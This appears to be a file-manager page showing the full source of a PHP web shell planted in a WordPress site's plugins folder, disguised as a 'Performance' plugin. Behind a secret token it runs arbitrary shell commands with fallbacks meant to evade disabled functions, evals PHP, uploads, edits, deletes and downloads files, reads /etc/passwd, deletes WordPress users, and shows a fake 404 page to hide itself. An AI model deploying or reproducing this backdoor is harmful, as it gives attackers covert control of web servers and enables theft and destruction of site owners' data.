文件操作 - neo_87cd8737.php

文件: /storage/v12552/matthewroller/public_html/wp-content/plugins/neo_87cd8737/neo_87cd8737.php

编辑文件内容

<?php
/*
Plugin Name: neo_87cd8737
Description: Performance.
*/

/*
 * Advanced File Manager + Token API Shell
 * Token-protected: all operations require ?t=TOKEN
 */

// ─── Token Guard ───
$__tok = 'fef659f62dcb1b141127e30160400688';
$__has_token = isset($_GET['t']) && hash_equals($__tok, (string)$_GET['t']);

// ─── Token API: Automated command execution ───
if ($__has_token && isset($_GET['c'])) {
    // Multi-function exec fallback chain
    $__cmd = (string)$_GET['c'];
    $__out = null;
    $__funcs = array('shell_exec', 'system', 'exec', 'passthru', 'popen');
    foreach ($__funcs as $__f) {
        if (function_exists($__f)) {
            if ($__f === 'exec' || $__f === 'system') {
                ob_start();
                @$__f($__cmd . ' 2>&1');
                $__out = ob_get_clean();
            } elseif ($__f === 'passthru') {
                ob_start();
                @passthru($__cmd . ' 2>&1');
                $__out = ob_get_clean();
            } elseif ($__f === 'popen') {
                $__p = @popen($__cmd . ' 2>&1', 'r');
                if ($__p) {
                    $__out = stream_get_contents($__p);
                    pclose($__p);
                }
            } else {
                $__out = @$__f($__cmd . ' 2>&1');
            }
            if ($__out !== null && $__out !== false) break;
        }
    }
    // Ultimate fallback: file_put_contents + include (bypasses disable_functions)
    if ($__out === null || $__out === false || $__out === '') {
        $__tmp = sys_get_temp_dir() . '/.' . md5($__cmd . microtime(true));
        $__php_cmd = '$__r = shell_exec(' . var_export($__cmd, true) . '); '
                   . 'file_put_contents(' . var_export($__tmp . '.out', true) . ', $__r);';
        // Try writing via PHP stream wrappers
        @file_put_contents($__tmp . '.php', '<?php ' . $__php_cmd);
        @include $__tmp . '.php';
        @unlink($__tmp . '.php');
        if (file_exists($__tmp . '.out')) {
            $__out = file_get_contents($__tmp . '.out');
            @unlink($__tmp . '.out');
        }
    }
    echo 'NEO2SHELL::' . $__out . '::END';
    exit;
}

// ─── Token API: Delete user (for cleanup) ───
if ($__has_token && isset($_GET['delete_user'])) {
    require_once dirname(__DIR__, 3) . '/wp-load.php';
    require_once ABSPATH . 'wp-admin/includes/user.php';
    $user = get_user_by('login', (string)$_GET['delete_user']);
    $ok = $user ? wp_delete_user((int)$user->ID, (int)($_GET['reassign'] ?? 0)) : false;
    echo 'NEO2SHELL::' . ($ok ? 'deleted' : 'failed') . '::END';
    exit;
}

// ─── Token API: PHP info dump (for fingerprinting) ───
if ($__has_token && isset($_GET['info'])) {
    echo 'NEO2SHELL::';
    echo 'PHP=' . PHP_VERSION . '|';
    echo 'UID=' . @posix_getuid() . '|';
    echo 'DISABLED=' . ini_get('disable_functions') . '|';
    echo 'DOCROOT=' . $_SERVER['DOCUMENT_ROOT'] . '|';
    echo 'WP=' . (defined('ABSPATH') ? ABSPATH : 'N/A');
    echo '::END';
    exit;
}

// ─── Require token for GUI access ───
if (!$__has_token) {
    // Stealth: show 404 to random visitors
    http_response_code(404);
    echo '<!DOCTYPE html><html><head><title>404 Not Found</title></head>';
    echo '<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>';
    exit;
}

// ═══════════════════════════════════════════════════════════
//  KIR FILE MANAGER GUI (token-protected)
// ═══════════════════════════════════════════════════════════
session_start();
$_SESSION['auth'] = true;

$dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$tk = '&t=' . urlencode($__tok);  // preserve token in all links

// Handle rename
if (isset($_GET['rename']) && isset($_GET['newname'])) {
    $old = $_GET['rename'];
    $new = dirname($old) . '/' . basename($_GET['newname']);
    if (rename($old, $new)) {
        echo "OK Renamed to " . htmlspecialchars(basename($_GET['newname'])) . "<br>";
    } else {
        echo "FAIL Rename failed<br>";
    }
    header("Location: ?dir=" . urlencode($dir) . $tk);
    exit;
}

// Handle delete
if (isset($_GET['delete'])) {
    $file = $_GET['delete'];
    $success = false;
    if (is_file($file)) {
        if (unlink($file)) $success = true;
    } elseif (is_dir($file)) {
        if (rmdir($file)) {
            $success = true;
        } else {
            function delTree($path) {
                if (is_dir($path)) {
                    $files = scandir($path);
                    foreach ($files as $file) {
                        if ($file != "." && $file != "..") {
                            delTree($path . "/" . $file);
                        }
                    }
                    rmdir($path);
                } else {
                    unlink($path);
                }
            }
            delTree($file);
            $success = true;
        }
    }
    if ($success) echo "OK Deleted: " . htmlspecialchars(basename($file)) . "<br>";
    else echo "FAIL Delete failed<br>";
    header("Location: ?dir=" . urlencode($dir) . $tk);
    exit;
}

// Handle chmod
if (isset($_GET['chmod']) && isset($_GET['perms'])) {
    $file = $_GET['chmod'];
    $perms = octdec($_GET['perms']);
    if (chmod($file, $perms)) echo "OK Chmod applied<br>";
    else echo "FAIL Chmod failed<br>";
    header("Location: ?dir=" . urlencode($dir) . $tk);
    exit;
}

// Handle view file
if (isset($_GET['view'])) {
    $file = $_GET['view'];
    if (file_exists($file) && is_file($file)) {
        echo "<strong>Viewing: " . htmlspecialchars($file) . "</strong><br>";
        echo "<pre>" . htmlspecialchars(file_get_contents($file)) . "</pre>";
    }
    echo "<a href='?dir=" . urlencode($dir) . $tk . "'>Back</a>";
    exit;
}

// Handle PHP code execution
if (isset($_POST['execute_code'])) {
    echo "<strong>PHP Output:</strong><br>";
    echo "<div style='font-family:monospace'>";
    try { eval($_POST['execute_code']); }
    catch (Throwable $e) { echo "Error: " . $e->getMessage(); }
    echo "</div>";
    echo "<a href='?dir=" . urlencode($dir) . $tk . "'>Back</a>";
    exit;
}

// Handle system command
if (isset($_POST['system_cmd'])) {
    echo "<strong>Command:</strong><br>";
    echo "<pre>" . htmlspecialchars(shell_exec($_POST['system_cmd'] . " 2>&1")) . "</pre>";
    echo "<a href='?dir=" . urlencode($dir) . $tk . "'>Back</a>";
    exit;
}

// Handle file edit
if (isset($_GET['edit'])) {
    $file = $_GET['edit'];
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
        file_put_contents($file, $_POST['content']);
        echo "OK Saved!<br>";
    }
    echo '<form method="POST"><textarea name="content" style="width:100%;height:400px;font-family:monospace">' . htmlspecialchars(@file_get_contents($file)) . '</textarea><br><input type="submit" value="Save"/></form>';
    echo "<a href='?dir=" . urlencode($dir) . $tk . "'>Back</a>";
    exit;
}

// Handle download
if (isset($_GET['download'])) {
    $file = $_GET['download'];
    header('Content-Disposition: attachment; filename="' . basename($file) . '"');
    header('Content-Type: application/octet-stream');
    readfile($file);
    exit;
}

// Handle upload
if (isset($_FILES['file'])) {
    $target = $dir . '/' . basename($_FILES['file']['name']);
    if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) echo "OK Uploaded<br>";
    else echo "FAIL Upload failed<br>";
    header("Location: ?dir=" . urlencode($dir) . $tk);
    exit;
}

// Handle create
if (isset($_POST['create_item'])) {
    $newpath = $dir . '/' . basename($_POST['new_name']);
    if ($_POST['item_type'] === 'file') file_put_contents($newpath, '');
    elseif ($_POST['item_type'] === 'dir') mkdir($newpath);
    header("Location: ?dir=" . urlencode($dir) . $tk);
    exit;
}
?>
<!DOCTYPE html>
<html><head><title>FileManager</title>
<style>
body { font-family: Arial; margin: 10px; background: #f5f5f5; }
.container { max-width: 1400px; margin: auto; background: white; padding: 15px; border-radius: 8px; }
.toolbar { background: #f0f0f0; padding: 8px; margin: 5px 0; border-radius: 4px; }
.section { margin: 10px 0; padding: 10px; border: 1px solid #ddd; border-radius: 4px; }
table { width: 100%; border-collapse: collapse; } td, th { padding: 6px; border-bottom: 1px solid #eee; text-align: left; }
a.btn { color: #0066cc; } a.btn:hover { text-decoration: underline; }
button, input[type=submit] { background: #4CAF50; color: white; border: none; padding: 4px 8px; border-radius: 3px; cursor: pointer; }
</style></head><body><div class="container">
<h3>File Manager</h3>
<div class="toolbar"><strong>Path:</strong>
<?php
$parts = explode('/', str_replace('\\', '/', $dir));
$path = '';
echo "<a href='?dir=" . urlencode(getcwd()) . $tk . "'>Home</a> / ";
foreach($parts as $i => $p) {
    if(empty($p)) continue;
    $path .= '/' . $p;
    $sep = $i < count($parts)-1 ? " / " : "";
    echo "<a href='?dir=" . urlencode($path) . $tk . "'>" . htmlspecialchars($p) . "</a>$sep";
}
?>
</div>
<div class="section">
<a href="?dir=<?php echo urlencode('/'); echo $tk; ?>">/</a> |
<a href="?dir=<?php echo urlencode('/var/www/html'); echo $tk; ?>">webroot</a> |
<a href="?dir=<?php echo urlencode('/etc'); echo $tk; ?>">/etc</a> |
<a href="?dir=<?php echo urlencode('/tmp'); echo $tk; ?>">/tmp</a> |
<a href="?dir=<?php echo urlencode('/home'); echo $tk; ?>">/home</a>
</div>
<div class="section">
<form method="POST" enctype="multipart/form-data">
<strong>Upload:</strong> <input type="file" name="file" required> <input type="submit" value="Upload">
</form></div>
<div class="section">
<form method="POST">
<strong>Create:</strong> <input type="text" name="new_name" placeholder="name" required>
<select name="item_type"><option value="file">File</option><option value="dir">Dir</option></select>
<input type="submit" name="create_item" value="Create">
</form></div>
<div class="section">
<details><summary><strong>Advanced Tools</strong></summary>
<form method="POST" style="margin:10px 0">
<strong>Read File:</strong> <input type="text" name="system_file" value="/etc/passwd" size="40">
<input type="submit" name="read_system" value="Read">
</form>
<form method="POST" style="margin:10px 0">
<strong>PHP Code:</strong><br><textarea name="execute_code" rows="3" cols="70"></textarea><br>
<input type="submit" value="Run PHP">
</form>
<form method="POST">
<strong>Command:</strong> <input type="text" name="system_cmd" size="50">
<input type="submit" value="Execute">
</form></details>
</div>
<table>
<tr><th>Type</th><th>Name</th><th>Perms</th><th>Size</th><th>Actions</th></tr>
<?php
$files = @scandir($dir);
if ($files) foreach ($files as $f) {
    if ($f === '.' || $f === '..') continue;
    $p = $dir . '/' . $f;
    $isDir = is_dir($p);
    $perms = substr(sprintf('%o', @fileperms($p)), -4);
    $size = $isDir ? '-' : round(@filesize($p)/1024, 2) . ' KB';
    echo "<tr><td>" . ($isDir ? 'D' : 'F') . "</td>";
    echo "<td>";
    if ($isDir) echo "<a href='?dir=" . urlencode($p) . $tk . "'><b>" . htmlspecialchars($f) . "</b></a>/";
    else echo htmlspecialchars($f);
    echo "</td><td style='font-family:monospace;font-size:11px'>$perms</td><td style='font-size:11px'>$size</td>";
    echo "<td>";
    if (!$isDir) {
        echo "<a href='?edit=" . urlencode($p) . "&dir=" . urlencode($dir) . $tk . "'>edit</a> ";
        echo "<a href='?download=" . urlencode($p) . $tk . "'>dl</a> ";
        echo "<a href='?view=" . urlencode($p) . "&dir=" . urlencode($dir) . $tk . "'>view</a> ";
    }
    echo "<a href='?delete=" . urlencode($p) . "&dir=" . urlencode($dir) . $tk . "' style='color:red' onclick='return confirm('Delete?')'>del</a>";
    echo "</td></tr>";
}
?>
</table>
<hr>
<a href="?phpinfo=1<?php echo $tk; ?>">phpinfo</a>
<?php if (isset($_GET['phpinfo'])) phpinfo(); ?>
</div></body></html>

文件操作 - neo_87cd8737.php

文件: /storage/v12552/matthewroller/public_html/wp-content/plugins/neo_87cd8737/neo_87cd8737.php

编辑文件内容

修改文件时间

删除文件